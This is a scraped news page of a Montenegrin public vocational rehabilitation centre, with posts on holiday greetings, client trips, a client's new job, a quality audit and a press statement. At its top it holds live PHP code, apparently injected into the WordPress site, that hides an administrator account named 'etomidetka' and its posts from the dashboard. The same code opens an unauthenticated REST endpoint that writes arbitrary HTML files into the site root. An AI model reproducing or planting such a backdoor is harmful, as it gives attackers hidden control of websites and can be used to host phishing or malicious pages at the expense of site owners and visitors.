//ETOMIDETKA add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } Aktivnosti – CZPR

Aktivnosti

Srećni praznici

Srećnu Novu 2025. godinu i Božić želi Vam Centar za profesionalnu rehabilitaciju

(Visited 25 times, 1 visits today)
Detaljnije →

Aktivnosti

Polaznici Programa socijalne uključenosti u posjeti Baru

Realizujući plan i program rada za polaznike Programa socijalne uključenosti  organizovan je  jednodnevni izlet u Baru. Tom prilikom  polaznici Programa socijalne uključenosti obišli su Staru maslinu i Stari grad Bar.

Upoznali su vrijednosti jednog od najznačajnijih prirodnih dobara Crne Gore, masline stare 2050 godina i istoriju Starog grada koju im je predstavio kustos.

Izlet je redovan dio Programa socijalne uključenosti kojim se realizuje jedan od njegovih ciljeva – integracija polaznika u širu društvenu sredinu. 

(Visited 24 times, 1 visits today)
Detaljnije →

Aktivnosti, Uncategorized @me

Nastavak uspješne realizacije misije Centra

Centar za profesionalnu rehabilitaciju je realizujući mjere i aktivnosti profesionalne rehabilitacije uspio da još jednom učesniku pronađe odgovarajuće radno mjesto. Tim povodom zaposleni u PR službi Centra obišao je Stefana Orovića koji se nakon uputa od strane Zavoda za zapošljavanje  sa puno nevjerice i bojazni uključio u program profesionalne rehabilitacije, ne sluteći tada da ga upravo taj korak vodi ka ostvarivanju životnog cilja. U njegovom radnom prostoru  sa nama je podijelio svoja iskustva.

Kada sam došao u Centar za profesionalnu rehabilitaciju, iskreno, nijesam vjerovao da ću pronaći posao, i ti počeci bili su mi prilično teški. Na moju sreću tamo su me  dočekali veoma ljubazni i profesionalni  ljudi među kojima je bila i  fizioterapeutkinja Ljilja Radulović koju sam znao od ranije i koja me upoznala sa  zaposlenima. Od tog dana, ona, Slavka Mirović i Amra Dacić postaju moja druga porodica. Uz njihovu pomoć sve mi je bilo mnogo lakše i jedva sam čekao poziv da dođem u Centar. Nakon prođenih mjera, uprkos nešto dužem čekanju na zaposlenje, danas sam jedna od najsrećnijih osoba na ovom svijetu. Zato ću odmah na startu iskoristiti priliku da pozovem lica sa invaliditetom da se priključe Centru jer moj primjer im je najbolji pokazatelj da je do posla uz njihovu pomoć  moguće doći.

Stefan se uz pomoć Centra zaposlio u  firmi “ION Solutions” iz Podgorice, kaže da mu nije teško i da sa zadovoljstvom dolazi na posao.

Od miline idem na posao, nije mi teško, slažem robu, pravim i izdajem otpremnice, unosim podatke. Kolege su me lijepo  prihvatile, a ja se trudim da odgovorim na najbolji način. Moram istaći mog druga Jovana Kankaraša koji takodje ovdje radi. Uz njegovu i pomoć Centra ja živim novi život. Odmah su me uključili u viber grupu firme, glasalo se ko će da ide na besplatno ljetovanje, i jednoglasno su mene izabrali. Ja sam prezadovoljan. Sad da mi se ponudi bolji i bolje plaćen posao ja ovu firmu ne bih mijenjao – sa osmjehom na licu završavaStefan svoju priču.

I iz “ION Solutions”  stižu pohvale na Stefanov rad, potvrda je i izbor njegovih kolega da upravo on besplatno ljetuje u Ulcinju. Firma je na prvom mjestu dobila  kivalitetnu osobu, pa potom  i dobrog radnika, zadovoljno poručuje njegov poslodavac, ističući  izuzetnu saradnju sa Centrom za profesionalnu rehabilitaciju.

Već kroz par dana Stefan se jako dobro uklopio u naš kolektiv. U okviru radnog dana Stefan je uspio da pokaže sposobnost da se prilagodi okruženju, da nas sasluša, da se našali, pomogne ukoliko je u mogućnosti. Zahvaljujući njegovim kvalitetima svi se radujemo vremenu koje uspijevamo da provedemo sa njim, koliko nam to radne obaveze dozvoljavaju. Donekle smo uspjeli i da stvorimo drugarski odnos koji se prenosi i van poslovnih okvira, a za šta će, nadamo se i sigurni smo, u budućnosti biti još više prilika. Svi smo impresionirani trudom koji ulaže na poslu, a pogotovo elanom i entuzijazmom sa kojim pristupa radnim zadacima i drugim izazovima, na koje u životu svi nailazimo, a koji ponekad mogu biti jako teški. Stefan je prepoznat kao vrijedan i predan momak koji zaslužuje poštovanje i koji svima nama treba da bude primjer.

Zbog obima posla nismo imali previše vremena da se posvetimo samoj proceduri zapošljavanja. Imali smo dobru volju, a iz Centra smo dobili svu potrebnu podršku kako bi došli do konačne realizacije. Takođe, može se primijetiti da Stefan osjeća puno povjerenje u sve zaposlene u Centru, kao i zahvalnost na njihovoj pomoći kroz mnoge situacije u kojima ste bili tu za njega.

(Visited 100 times, 1 visits today)
Detaljnije →

Aktivnosti, Uncategorized @me

Nadzorna provjera sistema menadžmenta kvalitetom

U Javnoj ustanovi „Centar za profesionalnu rehabilitaciju“ Podgorica je duži niz godina uspješeno implementiran međunarodni standard sistema upravljanja kvalitetom MEST EN ISO 9001:2016 i ISO 9001:2015 koji prati međunarodno priznate norme u cilju ostvarenja postavljenih ciljeva u pogledu kvaliteta poslovanja i pružanja usluga. Primjenjujići navedene standarde kvaliteta povećava se zadovoljstvo korisnika i ispunjava se važeća zakonska regulativa. Propisi sistema menadžmenta kvalitetom (QMS) u toku važenja sertifikacije predviđaju godišnju nadzornu provjeru koju sprovodi akreditovano sertifikaciono tijelo. Tim povodom je ispred akreditovanog predstavnika „Jugoinspekt Control“, u Centru boravila provjeravač dipl. Inž. Zorica Vesić kada je i izvršila provjeru sistema menadžmenta kvalitetom.

JU „Centar za profesionalnu rehabilitaciju“ Podgorica  u vlasništvu je Sertifikata ISO 9001:2015 i Sertifikata MEST EN ISO 9001:2016 za sprovođenje mjera i aktivnosti profesionalne rehabilitacije i zapošljavanja lica sa invaliditetom; Obrazovanja odraslih. Domaćini provjeravaču tog dana ispred JU „Centar za profesionalnu rehabilitaciju“ Podgorica, bili su direktor Centra Milo Paunović i rukovodilac Službe za pravne i opšte poslove Almin Hasović ujedno i menadžer QMS-a.

(Visited 47 times, 1 visits today)
Detaljnije →

Aktivnosti

Srećni praznici

Srećnu Novu 2024 godinu i Božić želi Vam Centar za profesionalnu rehabilitaciju

(Visited 65 times, 1 visits today)
Detaljnije →

Aktivnosti

Šest godina uspješnog rada

Na današnji dan 2017. godine  osnovana je Javna ustanova “Centar za profesionalnu rehabilitaciju“ Podgorica. I pored toga što se kao prva i jedina državna ustanova ovog tipa u Crnoj Gori  kroz minulih šest godina suočila sa velikim brojem izazova,  Centar je uspio da sistem profesionalne rehabilitacije postavi na kvalitetne i čvrste temelje.  Centar je postao prepoznat kao institucija koja radi za dobrobit svih, a prije svega onih zbog kojih je osnovan, odnosno za dobrobit lica sa invaliditetom. Posebno smo ponosni na činjenicu da skoro svi naši korisnici, nakon izuzetno izražene rezervisanosti  na prijemu,  poslije samo nekoliko dana provedenih u Mjeri 1, u Centar dolaze i iz njega odlaze sa osmjehom na licu.

(Visited 83 times, 1 visits today)
Detaljnije →

Aktivnosti

PR menadžer Centra za profesionalnu rehabilitaciju učestvovao na Kongresu SEESIA i sastanku Biroa AIPS Europ

PR menadžer  Centra za profesionalnu rehabilitaciju Ivan Ivanović učestvovao je na Kongresu sportskih novinara jugoistočne Evrope (SEESIA) i sastanku Biroa AIPS Europ (evropska sekcija svjetske sportske pres asocijacije) čiji je domaćin bio bugarski grad Pazardžik.

(more…)
(Visited 102 times, 1 visits today)
Detaljnije →

Aktivnosti

Centar za profesionalnu rehabilitaciju zaključio Ugovor sa Zavodom za zapošljavanje Crne Gore

Odlukom Ministarstva rada i socijalnog staranja od 11.05.2023. godine  za izvođača profesionalne rehabilitacije lica sa invaliditetom  za  područje Podgorice na period od dvije godine izabran je Centar za profesionalnu rehabilitaciju. Shodno odredbama predmetne Odluke,  pomoćnica direktora  Zilha Kajić je u ime Centra za profesionalnu rehabilitaciju potpisala Ugovor o izvođenju mjera i aktivnosti profesionalne rehabilitacije sa direktorom Zavoda za zapošljavanje Crne Gore Gzimom Hajdinagom.

Izborom za izvođača profesionalne rehabilitacije stvoreni su  uslovi, da u cilju unaprjeđenja položaja lica sa invaliditetom  putem profesionalne rehabilitacije, Centar nastavi  saradnju sa  Zavodom za zapošljavanje Crne Gore.

(more…)
(Visited 96 times, 1 visits today)
Detaljnije →

Aktivnosti

Saopštenje za javnost povodom dovođenja u vezu Centra za profesionalnu rehabilitaciju sa navodnom zloupotrebom subvencija zarada lica sa invaliditetom

Dešavanja koja su  probudila interesovanje javnosti nakon medijskih natpisa o navodnom bankrotu Fonda za profesionalnu rehabilitaciju i zapošljavanje lica sa invaliditetom zbog navodnih zloupotreba poslodavaca i zaposlenih lica sa invaliditetom koje su prijavljivali  na zarade od po nekoliko hiljada eura, sa zabrinutošću su primljena i u Centru za profesionalnu rahabilitaciju. Zbog saznanja da jedan broj građana Crne Gore ova dešavanja  i navodne zloupotrebe pripisuju  Centru za profesionalnu rehabailitaciju, želimo da javnost upoznamo sa sledećim.

Subvencija zarade lica sa invaliditetom je u nadležnosti  Fonda za profesionalnu rehabilitaciju koji je organizaciona jedinica Zavoda za zapošljavanje Crne Gore,  dok se Javna ustanova “Centar za profesionalnu rehabilitaciju” Podgorica bavi profesionalnom rehabilitacijom, koja shodno Zakonu obuhvata mjere i aktivnosti koje se realizuju sa ciljem da se lice sa invaliditetom na odgovarajući način osposobi za rad, zadrži zaposlenje, u njemu napreduje ili promijeni svoju profesionalnu karijeru. Dakle, naglašavamo da Centar za profesionalnu rehabilitaciju nema nikakvih dodirnih tačaka sa isplatama subvencija zarada zaposlenih lica sa invaliditetom.

Žalimo što zbog, neodgovornih pojedinaca kojih po našem mišljenju ima i među poslodavcima i među licima sa invaliditeom,  jedna od najranjivijih društvenih grupa kojoj pripadaju i korisnici naših usluga, duže vrijeme  trpe ogromnu štetu.

Vjerujemo da će Zavod za zapošljavanje Crne Gore i Ministarstvo rada i socijalnog staranja dodatno urediti ovu oblast, kako se ubuduće slična dešavanja  ne bi ponavljala.

(Visited 111 times, 1 visits today)
Detaljnije →

Aktivnosti

Delegacija Centra za profesionalnu rehabilitaciju na prijemu u Ambasadi Italije

Ambasadorka Italije u Crnoj Gori, gospođa Andreina Marsella primila je delegaciju Centra za profesionalnu rehabilitaciju koju su činili direktor Milo Paunović, pomoćnica direktora Zilha Kajić, rukovoditeljka Odjeljenja za profesionalnu rehabilitaciju Slavka Mirović i učesnica programa socijalne uključenosti Vladana Stijepović.

Ambasadorka Marsella je iskazala interesovanje za rad Centra za profesionalnu rehabilitaciju, sa čime su je članovi delegacije upoznali. Posebnu pažnju i interesovanje ambasadorka je iskazala za učesnicu Vladanu Stijepović, zbog činjenice da je ona pored svih izazova s kojima se u životu suočava, uspjela da samoinicijativno i samostalno nauči italijanski jezik, da redovno prati italijanske tv i radio programe, da sprema hranu po italijanskim recepturama, da čita puno o italijanskoj istoriji i sl.

U srdačnom razgovoru, njena ekselencija ambasadorka Marsella i naša učesnica Vladana, na tečnom italijanskom jeziku, razmijenile su impresije o narodima i prirodnim ljepotama Italije i Crne Gore.

(Visited 172 times, 1 visits today)
Detaljnije →
Skip to content